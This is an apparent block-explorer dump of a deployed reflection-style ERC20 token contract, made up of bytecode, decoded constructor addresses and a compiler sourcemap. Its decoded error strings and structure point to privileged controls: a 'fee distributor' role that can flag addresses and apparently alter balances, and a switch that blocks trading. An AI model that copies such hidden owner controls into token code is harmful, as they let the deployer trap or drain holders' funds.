ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e5469152d02c7e14af6800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f69152d02c7e14af6800000600e546112fc90919063ffffffff16565b8210156121af57600e5469152d02c7e14af68000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6000602082840312156124f8576124f7612237565b5b6000612506848285016123a3565b91505092915050565b612518816123f8565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b6000806040838503121561255257612551612237565b5b60006125608582860161225d565b925050602061257185828601612526565b9150509250929050565b60008060006060848603121561259457612593612237565b5b60006125a2868287016123a3565b93505060206125b38682870161225d565b92505060406125c48682870161225d565b9150509250925092565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006127f3601d836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061285f601f836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209418a690ad2398a29899ca7240a01436a0c90de1cf81a9a6369c6cdd794450d464736f6c63430008080033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : unif (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : unir (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

5295:9913:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8683:346;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6754:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7497:147;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13398:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6995:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7650:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9409:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6916:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7951:204;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12945:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9035:368;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8422:255;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7086:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5158:134;;;:::i;:::-;;5018;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13260:132;;;:::i;:::-;;13051:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4854:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6833:77;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8161:255;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7199:153;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7358:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13152:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8683:346;8731:14;8748:12;:10;:12::i;:::-;8731:29;;8776:11;:19;8788:6;8776:19;;;;;;;;;;;;;;;;;;;;;;;;;8775:20;8767:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;8852:15;8875:19;8886:7;8875:10;:19::i;:::-;8851:43;;;;;;8919:28;8939:7;8919;:15;8927:6;8919:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;8901:7;:15;8909:6;8901:15;;;;;;;;;;;;;;;:46;;;;8964:20;8976:7;8964;;:11;;:20;;;;:::i;:::-;8954:7;:30;;;;9004:23;9019:7;9004:10;;:14;;:23;;;;:::i;:::-;8991:10;:36;;;;8724:305;;8683:346;:::o;6754:73::-;6791:13;6820:5;6813:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6754:73;:::o;7497:147::-;7572:4;7585:39;7594:12;:10;:12::i;:::-;7608:7;7617:6;7585:8;:39::i;:::-;7638:4;7631:11;;7497:147;;;;:::o;13398:77::-;13442:4;13462:11;;;;;;;;;;;13455:18;;13398:77;:::o;6995:85::-;7048:7;5562:21;7064:14;;6995:85;:::o;7650:295::-;7748:4;7761:36;7771:6;7779:9;7790:6;7761:9;:36::i;:::-;7804:121;7813:6;7821:12;:10;:12::i;:::-;7835:89;7873:6;7835:89;;;;;;;;;;;;;;;;;:11;:19;7847:6;7835:19;;;;;;;;;;;;;;;:33;7855:12;:10;:12::i;:::-;7835:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7804:8;:121::i;:::-;7939:4;7932:11;;7650:295;;;;;:::o;9409:235::-;9475:7;9510;;9499;:18;;9491:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;9571:19;9594:10;:8;:10::i;:::-;9571:33;;9618:24;9630:11;9618:7;:11;;:24;;;;:::i;:::-;9611:31;;;9409:235;;;:::o;6916:73::-;6957:5;6978:9;;;;;;;;;;;6971:16;;6916:73;:::o;7951:204::-;8039:4;8052:83;8061:12;:10;:12::i;:::-;8075:7;8084:50;8123:10;8084:11;:25;8096:12;:10;:12::i;:::-;8084:25;;;;;;;;;;;;;;;:34;8110:7;8084:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8052:8;:83::i;:::-;8149:4;8142:11;;7951:204;;;;:::o;12945:100::-;4800:10;4784:26;;:12;;;;;;;;;;;:26;;;4776:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13039:4:::1;13016:11;:20;13028:7;13016:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;12945:100:::0;:::o;9035:368::-;9125:7;5562:21;9149:7;:18;;9141:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;9215:17;9210:192;;9242:15;9265:19;9276:7;9265:10;:19::i;:::-;9241:43;;;;;;9298:7;9291:14;;;;;9210:192;9322:23;9352:19;9363:7;9352:10;:19::i;:::-;9320:51;;;;;;9385:15;9378:22;;;9035:368;;;;;:::o;8422:255::-;4800:10;4784:26;;:12;;;;;;;;;;;:26;;;4776:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8544:1:::1;8525:21;;:7;:21;;;;8517:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;8621:54;8632:4;8621:54;;;;;;;;;;;;;;;;;:6;:10;;:54;;;;;:::i;:::-;8602:7;:16;8610:7;8602:16;;;;;;;;;;;;;;;:73;;;;8422:255:::0;;;:::o;7086:107::-;7152:7;7175;:16;7183:7;7175:16;;;;;;;;;;;;;;;;7168:23;;7086:107;;;:::o;5158:134::-;4686:12;:10;:12::i;:::-;4676:22;;:6;;;;;;;;;;:22;;;4668:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5261:1:::1;5224:40;;5245:6;::::0;::::1;;;;;;;;5224:40;;;;;;;;;;;;5288:1;5271:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5158:134::o:0;5018:::-;4686:12;:10;:12::i;:::-;4676:22;;:6;;;;;;;;;;:22;;;4668:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5118:1:::1;5094:26;;:12;;;;;;;;;;;:26;;;5085:36;;;::::0;::::1;;5143:7;5128:12;;:22;;;;;;;;;;;;;;;;;;5018:134:::0;:::o;13260:132::-;4800:10;4784:26;;:12;;;;;;;;;;;:26;;;4776:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13336:4:::1;13321:19;;:11;;;;;;;;;;;:19;;;13317:74;;;13357:5;13343:11;;:19;;;;;;;;;;;;;;;;;;13317:74;;;13385:4;13371:11;;:18;;;;;;;;;;;;;;;;;;13317:74;13260:132::o:0;13051:95::-;4800:10;4784:26;;:12;;;;;;;;;;;:26;;;4776:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13139:5:::1;13116:11;:20;13128:7;13116:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;13051:95:::0;:::o;4854:69::-;4892:7;4915:6;;;;;;;;;;;4908:13;;4854:69;:::o;6833:77::-;6872:13;6901:7;6894:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6833:77;:::o;8161:255::-;8254:4;8267:129;8276:12;:10;:12::i;:::-;8290:7;8299:96;8338:15;8299:96;;;;;;;;;;;;;;;;;:11;:25;8311:12;:10;:12::i;:::-;8299:25;;;;;;;;;;;;;;;:34;8325:7;8299:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8267:8;:129::i;:::-;8410:4;8403:11;;8161:255;;;;:::o;7199:153::-;7277:4;7290:42;7300:12;:10;:12::i;:::-;7314:9;7325:6;7290:9;:42::i;:::-;7346:4;7339:11;;7199:153;;;;:::o;7358:133::-;7439:7;7462:11;:18;7474:5;7462:18;;;;;;;;;;;;;;;:27;7481:7;7462:27;;;;;;;;;;;;;;;;7455:34;;7358:133;;;;:::o;13152:102::-;13212:4;13232:11;:20;13244:7;13232:20;;;;;;;;;;;;;;;;;;;;;;;;;13225:27;;13152:102;;;:::o;1827:122::-;1885:7;1908:39;1912:1;1915;1908:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1901:46;;1827:122;;;;:::o;1305:126::-;1363:7;1386:43;1390:1;1393;1386:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1379:50;;1305:126;;;;:::o;233:105::-;286:15;325:10;310:26;;233:105;:::o;13620:389::-;13679:7;13688;13697;13706;13715;13732:23;13757:12;13773:20;13785:7;13773:11;:20::i;:::-;13731:62;;;;13800:19;13823:10;:8;:10::i;:::-;13800:33;;13841:15;13858:23;13883:12;13899:39;13911:7;13920:4;13926:11;13899;:39::i;:::-;13840:98;;;;;;13953:7;13962:15;13979:4;13985:15;14002:4;13945:62;;;;;;;;;;;;;;;;13620:389;;;;;;;:::o;1138:161::-;1196:7;1212:9;1228:1;1224;:5;;;;:::i;:::-;1212:17;;1249:1;1244;:6;;1236:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1296:1;1289:8;;;1138:161;;;;:::o;9650:313::-;9756:1;9739:19;;:5;:19;;;;9731:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9833:1;9814:21;;:7;:21;;;;9806:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9911:6;9881:11;:18;9893:5;9881:18;;;;;;;;;;;;;;;:27;9900:7;9881:27;;;;;;;;;;;;;;;:36;;;;9945:7;9929:32;;9938:5;9929:32;;;9954:6;9929:32;;;;;;:::i;:::-;;;;;;;;9650:313;;;:::o;9969:991::-;10080:1;10062:20;;:6;:20;;;;10054:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;10160:1;10139:23;;:9;:23;;;;10131:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;10226:1;10217:6;:10;10209:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10284:11;:19;10296:6;10284:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;10307:11;:22;10319:9;10307:22;;;;;;;;;;;;;;;;;;;;;;;;;10284:45;10280:76;;;10350:1;10340:6;:11;10331:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;10280:76;10382:4;10367:19;;:11;;;;;;;;;;;:19;;;:46;;;;10400:13;:11;:13::i;:::-;10390:23;;:6;:23;;;10367:46;:76;;;;10430:13;:11;:13::i;:::-;10417:26;;:9;:26;;;10367:76;10363:596;;;10456:11;:19;10468:6;10456:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;10480:11;:22;10492:9;10480:22;;;;;;;;;;;;;;;;;;;;;;;;;10479:23;10456:46;10452:459;;;10529:69;10549:6;10529:69;;;;;;;;;;;;;;;;;:7;:15;10537:6;10529:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;10511:7;:15;10519:6;10511:15;;;;;;;;;;;;;;;:87;;;;10626:30;10649:6;10626:7;:18;10634:9;10626:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;10605:7;:18;10613:9;10605:18;;;;;;;;;;;;;;;:51;;;;10685:9;10668:35;;10677:6;10668:35;;;10696:6;10668:35;;;;;;:::i;:::-;;;;;;;;10452:459;;;10735:69;10755:6;10735:69;;;;;;;;;;;;;;;;;:7;:15;10743:6;10735:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;10717:7;:15;10725:6;10717:15;;;;;;;;;;;;;;;:87;;;;10832:30;10855:6;10832:7;:18;10840:9;10832:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;10811:7;:18;10819:9;10811:18;;;;;;;;;;;;;;;:51;;;;10891:9;10874:35;;10883:6;10874:35;;;10902:6;10874:35;;;;;;:::i;:::-;;;;;;;;10452:459;10363:596;;;10948:4;10933:19;;:11;;;;;;;;;;;:19;;;10924:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;10363:596;9969:991;;;:::o;1437:172::-;1523:7;1552:1;1547;:6;;1555:12;1539:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1575:9;1591:1;1587;:5;;;;:::i;:::-;1575:17;;1606:1;1599:8;;;1437:172;;;;;:::o;14551:149::-;14592:7;14609:15;14626;14645:19;:17;:19::i;:::-;14608:56;;;;14678:20;14690:7;14678;:11;;:20;;;;:::i;:::-;14671:27;;;;14551:149;:::o;1955:171::-;2041:7;2069:1;2065;:5;2072:12;2057:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2092:9;2108:1;2104;:5;;;;:::i;:::-;2092:17;;2123:1;2116:8;;;1955:171;;;;;:::o;14015:212::-;14075:7;14084;14100:12;14115:23;14136:1;14115:16;14127:3;14115:7;:11;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;14100:38;;14145:23;14171:17;14183:4;14171:7;:11;;:17;;;;:::i;:::-;14145:43;;14203:15;14220:4;14195:30;;;;;;14015:212;;;:::o;14233:312::-;14328:7;14337;14346;14362:15;14380:24;14392:11;14380:7;:11;;:24;;;;:::i;:::-;14362:42;;14411:12;14426:21;14435:11;14426:4;:8;;:21;;;;:::i;:::-;14411:36;;14454:23;14480:17;14492:4;14480:7;:11;;:17;;;;:::i;:::-;14454:43;;14512:7;14521:15;14538:4;14504:39;;;;;;;;;14233:312;;;;;;;:::o;4929:83::-;4975:7;4998:12;;;;;;;;;;;4991:19;;4929:83;:::o;14706:501::-;14756:7;14765;14781:15;14799:7;;14781:25;;14813:15;5562:21;14813:25;;14856:9;14851:255;14875:9;:16;;;;14871:1;:20;14851:255;;;14933:7;14909;:21;14917:9;14927:1;14917:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14909:21;;;;;;;;;;;;;;;;:31;:66;;;;14968:7;14944;:21;14952:9;14962:1;14952:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;14944:21;;;;;;;;;;;;;;;;:31;14909:66;14905:97;;;14985:7;;5562:21;14977:25;;;;;;;;;14905:97;15019:34;15031:7;:21;15039:9;15049:1;15039:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15031:21;;;;;;;;;;;;;;;;15019:7;:11;;:34;;;;:::i;:::-;15009:44;;15070:34;15082:7;:21;15090:9;15100:1;15090:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15082:21;;;;;;;;;;;;;;;;15070:7;:11;;:34;;;;:::i;:::-;15060:44;;14893:3;;;;;:::i;:::-;;;;14851:255;;;;15126:20;5562:21;15126:7;;:11;;:20;;;;:::i;:::-;15116:7;:30;15112:61;;;15156:7;;5562:21;15148:25;;;;;;;;15112:61;15188:7;15197;15180:25;;;;;;14706:501;;;:::o;1615:206::-;1673:7;1698:1;1693;:6;1689:29;;;1715:1;1708:8;;;;1689:29;1724:9;1740:1;1736;:5;;;;:::i;:::-;1724:17;;1765:1;1760;1756;:5;;;;:::i;:::-;:10;1748:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1818:1;1811:8;;;1615:206;;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:307::-;1373:1;1383:113;1397:6;1394:1;1391:13;1383:113;;;1482:1;1477:3;1473:11;1467:18;1463:1;1458:3;1454:11;1447:39;1419:2;1416:1;1412:10;1407:15;;1383:113;;;1514:6;1511:1;1508:13;1505:101;;;1594:1;1585:6;1580:3;1576:16;1569:27;1505:101;1354:258;1305:307;;;:::o;1618:102::-;1659:6;1710:2;1706:7;1701:2;1694:5;1690:14;1686:28;1676:38;;1618:102;;;:::o;1726:364::-;1814:3;1842:39;1875:5;1842:39;:::i;:::-;1897:71;1961:6;1956:3;1897:71;:::i;:::-;1890:78;;1977:52;2022:6;2017:3;2010:4;2003:5;1999:16;1977:52;:::i;:::-;2054:29;2076:6;2054:29;:::i;:::-;2049:3;2045:39;2038:46;;1818:272;1726:364;;;;:::o;2096:313::-;2209:4;2247:2;2236:9;2232:18;2224:26;;2296:9;2290:4;2286:20;2282:1;2271:9;2267:17;2260:47;2324:78;2397:4;2388:6;2324:78;:::i;:::-;2316:86;;2096:313;;;;:::o;2415:126::-;2452:7;2492:42;2485:5;2481:54;2470:65;;2415:126;;;:::o;2547:96::-;2584:7;2613:24;2631:5;2613:24;:::i;:::-;2602:35;;2547:96;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:118::-;3916:24;3934:5;3916:24;:::i;:::-;3911:3;3904:37;3829:118;;:::o;3953:222::-;4046:4;4084:2;4073:9;4069:18;4061:26;;4097:71;4165:1;4154:9;4150:17;4141:6;4097:71;:::i;:::-;3953:222;;;;:::o;4181:619::-;4258:6;4266;4274;4323:2;4311:9;4302:7;4298:23;4294:32;4291:119;;;4329:79;;:::i;:::-;4291:119;4449:1;4474:53;4519:7;4510:6;4499:9;4495:22;4474:53;:::i;:::-;4464:63;;4420:117;4576:2;4602:53;4647:7;4638:6;4627:9;4623:22;4602:53;:::i;:::-;4592:63;;4547:118;4704:2;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4675:118;4181:619;;;;;:::o;4806:86::-;4841:7;4881:4;4874:5;4870:16;4859:27;;4806:86;;;:::o;4898:112::-;4981:22;4997:5;4981:22;:::i;:::-;4976:3;4969:35;4898:112;;:::o;5016:214::-;5105:4;5143:2;5132:9;5128:18;5120:26;;5156:67;5220:1;5209:9;5205:17;5196:6;5156:67;:::i;:::-;5016:214;;;;:::o;5236:329::-;5295:6;5344:2;5332:9;5323:7;5319:23;5315:32;5312:119;;;5350:79;;:::i;:::-;5312:119;5470:1;5495:53;5540:7;5531:6;5520:9;5516:22;5495:53;:::i;:::-;5485:63;;5441:117;5236:329;;;;:::o;5571:116::-;5641:21;5656:5;5641:21;:::i;:::-;5634:5;5631:32;5621:60;;5677:1;5674;5667:12;5621:60;5571:116;:::o;5693:133::-;5736:5;5774:6;5761:20;5752:29;;5790:30;5814:5;5790:30;:::i;: